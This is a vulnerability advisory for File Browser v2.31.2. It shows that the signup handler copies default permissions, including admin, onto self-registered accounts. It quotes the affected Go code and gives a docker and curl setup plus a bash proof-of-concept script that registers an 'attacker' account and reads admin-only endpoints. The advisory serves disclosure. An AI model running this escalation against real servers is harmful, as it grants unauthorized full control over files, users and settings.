File Browser Signup Grants Admin When Default Permissions Include Admin

Summary

Any unauthenticated visitor can register a full administrator account when self-registration ( signup = true ) is enabled and the default user permissions have perm.admin = true. The signup handler blindly applies all default settings - including Perm.Admin - to the new user without any server-side guard that strips admin from self-registered accounts.

Details

Affected file: http/auth.go

Vulnerable code:

user := &users.User{
    Username: info.Username,
}
d.settings.Defaults.Apply(user)

settings.UserDefaults.Apply (settings/defaults.go):

func (d *UserDefaults) Apply(u *users.User) {
    u.Perm = d.Perm
    ...
}

Settings API permits Admin in defaults (http/settings.go):

var settingsPutHandler = withAdmin(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {
    ...
    d.settings.Defaults = req.Defaults
    ...
})

The signupHandler is supposed to create unprivileged accounts for new visitors. It contains no explicit user.Perm.Admin = false reset after Defaults.Apply. If an administrator (intentionally or accidentally) configures defaults.perm.admin = true and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings.

Demo Server Setup

docker run -d --name fb-test \
  -p 8080:80 \
  -v /tmp/fb-data:/srv \
  filebrowser/filebrowser:v2.31.2

ADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"admin"}')

curl -s -X PUT http://localhost:8080/api/settings \
  -H "X-Auth: $ADMIN_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{
    "signup": true,
    "defaults": {
      "perm": {
        "admin": true,
        "execute": true,
        "create": true,
        "rename": true,
        "modify": true,
        "delete": true,
        "share": true,
        "download": true
      }
    }
  }'

PoC Exploit

#!/bin/bash
TARGET="http://localhost:8080"

echo "[*] Registering attacker account via public signup endpoint..."
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
  -X POST "$TARGET/api/signup" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"Attack3r!pass"}')
echo "[*] Signup response: HTTP $STATUS"

echo "[*] Logging in as newly created account..."
ATTACKER_TOKEN=$(curl -s -X POST "$TARGET/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"Attack3r!pass"}')

echo "[*] Fetching user list with attacker token (admin-only endpoint)..."
curl -s "$TARGET/api/users" \
  -H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool

echo ""
echo "[*] Verifying admin access by reading /api/settings..."
curl -s "$TARGET/api/settings" \
  -H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool

Expected output: The attacker's token successfully returns the full user list and server settings - endpoints restricted to Perm.Admin = true users.

Impact

Any unauthenticated visitor who can reach POST /api/signup obtains a full admin account. From there, they can:

• List, read, modify, and delete every file on the server
• Create, modify, and delete all other users
• Change authentication method and server settings
• Execute arbitrary commands if enableExec = true